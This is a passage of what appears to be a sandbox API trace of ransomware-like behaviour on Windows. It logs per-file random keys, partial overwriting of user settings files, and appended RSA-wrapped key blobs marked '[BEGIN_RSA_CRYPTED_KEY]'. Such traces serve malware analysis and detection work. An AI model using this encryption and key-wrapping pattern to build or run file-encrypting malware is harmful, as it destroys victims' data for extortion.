pszString="iE17fZZfC6rqppw3/dopHFs8wqXie7Y2QTxJ58S74hQX780QGhPftR+aNU73b71L\n4AG8C1caqK2g66v2KPJ1h5jDx8xOkVRe07WnWQ9ya8dcNfD3b18cL6MDOTEDRBbK\nH4wQ/MOP+vlbo+UD0nJ/Lzfj8nX8frqpbcYZMUORuzoQ9AmhFDRml5cEBPPJEsyL\nE4dBZkeDb5ITd/+8zCJhYy6ELhpjxKuLlTp9H4qPSKIWNWEMNNMk7aV7UggYYtNa\njWOag75IT+9I4t4lSWtiHTP29o+lvT8hLY3FY/kajy3Oid2zYbIUqqPCsXjXdMGV\n5klByydqVPRcovUR8PFTbQ==\n", pcchString=0x2e3f9a8) returned 1 [0203.360] WriteFile (in: hFile=0x12b8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0203.361] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0203.361] WriteFile (in: hFile=0x12b8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0203.361] CloseHandle (hObject=0x12b8) returned 1 [0203.362] WriteFile (in: hFile=0x12c0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0203.364] CloseHandle (hObject=0x12c0) returned 1 [0203.365] WriteFile (in: hFile=0x12c0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0203.367] CloseHandle (hObject=0x12c0) returned 1 [0203.367] WriteFile (in: hFile=0x12c0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0203.368] CloseHandle (hObject=0x12c0) returned 1 [0203.369] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0203.369] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0203.369] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668d28 [0203.369] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x136) returned 0x5bd3b8 [0203.369] ReadFile (in: hFile=0x12d4, lpBuffer=0x2f958e0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f958e0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0203.382] SetFilePointer (in: hFile=0x12d4, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.382] WriteFile (in: hFile=0x12d4, lpBuffer=0x2f978e8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f978e8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0203.383] SetFilePointer (in: hFile=0x12d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0203.383] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0203.383] WriteFile (in: hFile=0x12d4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0203.383] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0203.383] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0203.384] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0203.384] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0203.384] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="x5b9GJ65DM4i3GKeMWNPtjMJWtObh5nRMJLwIrG0ZbMBNFqKLD/1mRy6CroIJW3m\n5bkVLDap7AFR+pGAIjaVoqczv8K6vRg8EhWG0siQR5CkJzmi2sxv0+x1FBSXKOjI\ny5GuMe0WLuXJSwtd4uybdGsFNkF7z+gr5l9s42aU30HmdinZlcQEmJ3XlcCA1+im\n2BQr2/nSVsG781v88Pmf/aWTGSorad//o29hoLvJFJ2fjM0bkdXlvIj8tRTuTl5D\nIBS7JF1YDTdSu1t/23mQVmYMJhWvTOe1bXHWzodeptfdPpPlbyUvN/tlKhm9D2LV\nAIuOZz/sTwXDqFTNb6nMHg==\n", pcchString=0x2e3f9a8) returned 1 [0203.384] WriteFile (in: hFile=0x12d4, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0203.384] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0203.384] WriteFile (in: hFile=0x12d4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0203.384] CloseHandle (hObject=0x12d4) returned 1 [0203.509] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0203.509] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0203.510] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x669670 [0203.510] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x136) returned 0x5bd3b8 [0203.510] ReadFile (in: hFile=0x12d4, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0203.510] SetFilePointer (in: hFile=0x12d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.510] WriteFile (in: hFile=0x12d4, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0203.510] SetFilePointer (in: hFile=0x12d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0203.510] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0203.510] WriteFile (in: hFile=0x12d4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0203.511] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0203.511] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0203.511] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0203.511] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0203.511] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="pMMR3NrMvFBiEF9BLPaxcW5tKyF4Lu+U7OzSw02jSht5C+csfnZSycRK7TW6LNtc\nJ6uGIL/3kNPcHDKM3v7bhTuiPuxsIdpqgdfmrvxBAZru4kh6MvIGW5H1VMyydlKe\nQRtvi9pMpKFvXATSuwXdJ/39wtZOf3JrNmM3m8tNhwg4GGOUuowJZ45SMOhRN7xh\nlpKkH3xmbj0HTBXl0WoW0U5khWa9xdXQ9Yjj2cerFATZEUE0wmLSQoKT1cEvGK9q\n5QWJDD8shdBSyLERbU/Nf8a2XZHjjlog9XmSf+X7wc99zhmkSLVYIFmSRV7B69WW\nUh4ptfhzcM5HAtChzjE7cw==\n", pcchString=0x2e3f9a8) returned 1 [0203.511] WriteFile (in: hFile=0x12d4, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0203.512] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0203.512] WriteFile (in: hFile=0x12d4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0203.512] CloseHandle (hObject=0x12d4) returned 1 [0203.514] WriteFile (in: hFile=0x12e0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0203.515] CloseHandle (hObject=0x12e0) returned 1 [0203.516] WriteFile (in: hFile=0x12e0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0203.517] CloseHandle (hObject=0x12e0) returned 1 [0203.517] WriteFile (in: hFile=0x12e0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0203.518] CloseHandle (hObject=0x12e0) returned 1 [0203.518] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0203.518] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsMaps_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0203.519] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668230 [0203.519] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x136) returned 0x5bd3b8 [0203.519] ReadFile (in: hFile=0x12f4, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0203.519] SetFilePointer (in: hFile=0x12f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.519] WriteFile (in: hFile=0x12f4, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0203.519] SetFilePointer (in: hFile=0x12f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0203.520] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0203.520] WriteFile (in: hFile=0x12f4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0203.521] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0203.521] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0203.521] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0203.521] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0203.521] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="9/PWQgbhR2MdMZqMm1x6ZxSuN8MOZloXPRsROMfJ7vR0biGdBnDmEEmrZB/X4eN+\n47yj74VKUKnEndiADB/pcol81gdMniOv43KrcrtLTygWHW6uxScq6r55iZXH925l\njLO1bR4dKUo4gBywUKOUG9MsDO8SGjLACxurchEVCCM16maGXKKGhD3sB9BpCYz4\nONtvBjnzzKLM2s/y76FuzeP2M1tm//kkZG4h5BtTUVkB42ZukuZQ6cojy3a6Mn0N\nfpJ+vrFkFabe1k4EQAYpc7aHYw6IiHgMcF4yMCNjAhOIwwAEuypZi/LvCsdAEiFw\noFwYyALG5wyV78zAgfelZg==\n", pcchString=0x2e3f9a8) returned 1 [0203.521] WriteFile (in: hFile=0x12f4, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0203.521] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0203.521] WriteFile (in: hFile=0x12f4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0203.521] CloseHandle (hObject=0x12f4) returned 1 [0203.523] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0203.523] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsMaps_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0203.525] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x6689c8 [0203.525] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x136) returned 0x5bd3b8 [0203.525] ReadFile (in: hFile=0x12f4, lpBuffer=0x2f8d8c0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8d8c0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0203.536] SetFilePointer (in: hFile=0x12f4, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.536] WriteFile (in: hFile=0x12f4, lpBuffer=0x2f8f8c8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8f8c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0203.536] SetFilePointer (in: hFile=0x12f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0203.536] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0203.536] WriteFile (in: hFile=0x12f4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0203.537] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0203.537] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0203.537] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0203.537] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0203.537] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="7xUEVjHuXezoTjgexYy2TbgxgrqsskPxQ/52CEkwasVUPw/ypawu1OjF/swEcMuh\n3zPE/PFhK2snig214F2T8/sDV9S/smPbIXglGchmqHkIjzAVLAUacVoihThpw4em\nP6oSUQXSXXPlOhQ4WLKNRECRDaEdy0GSXSmErMyTpbTM3BClTHCM5H5TcEMNMUJH\nttCWjhnPfEd+oQXTHsY1m9yX59L2vuMCde9cBsDVnzTPWj9VOn6Z37dchbqTomHB\nZlPqTbKru/nX7B8Ce/VFtagQ7JWq033I/Pk7IoAoZpYz1eFvD1P0PBeFGyEUQofA\n/i0CtSd1a6VlgO91AZI6dg==\n", pcchString=0x2e3f9a8) returned 1 [0203.537] WriteFile (in: hFile=0x12f4, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0203.537] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0203.537] WriteFile (in: hFile=0x12f4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0203.537] CloseHandle (hObject=0x12f4) returned 1 [0203.539] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0203.539] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsMaps_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0203.540] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6646c0 [0203.540] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e) returned 0x60e550 [0203.540] ReadFile (in: hFile=0x12f4, lpBuffer=0x2f938d8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f938d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0203.555] SetFilePointer (in: hFile=0x12f4, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.555] WriteFile (in: hFile=0x12f4, lpBuffer=0x2f978e8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f978e8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0203.555] SetFilePointer (in: hFile=0x12f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0203.555] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0203.555] WriteFile (in: hFile=0x12f4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0203.556] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0203.556] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0203.556] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0203.556] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0203.556] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="k2InW1RygFK+6phSJUaLlF/QRUBgVqlyxkefNfTITKtHygGk8k2QuFdQ1NZKeWVv\nmEfP3tUmcX627Tx26oAAVfoRupcRBnOtDGrTV/EjvgvKm1SrwqwhB4PVm++LwPV0\nvSpCK69gzbLcS3GrOk0nTyRr1RuNRusMBIcTK8ddQ2gJLH7GXDF+bYIATnwTkhe7\ni5UWFdYY2i5OFXD4/3v6DQZMiX0borzAFZpbiHlhJdHwZ7XyYqg3IDAuqdr6t5cR\nIfsh1dxT71RyrDunzjlHhs4vTmK/kPlPyStftw4+b4KcW66J7vB/S41jZtzHV5dh\nCln69E4gBpMGCtRER1YdFg==\n", pcchString=0x2e3f9a8) returned 1 [0203.556] WriteFile (in: hFile=0x12f4, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0203.556] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0203.557] WriteFile (in: hFile=0x12f4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0203.557] CloseHandle (hObject=0x12f4) returned 1 [0203.560] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0203.560] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsMaps_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0203.560] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6650e8 [0203.560] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e) returned 0x60dc10 [0203.560] ReadFile (in: hFile=0x12f4, lpBuffer=0x59d4b0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0203.560] SetFilePointer (in: hFile=0x12f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.560] WriteFile (in: hFile=0x12f4, lpBuffer=0x59d430*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0203.560] SetFilePointer (in: hFile=0x12f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0203.560] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0203.560] WriteFile (in: hFile=0x12f4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0203.561] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0203.561] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0203.562] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0203.562] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0203.562] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: 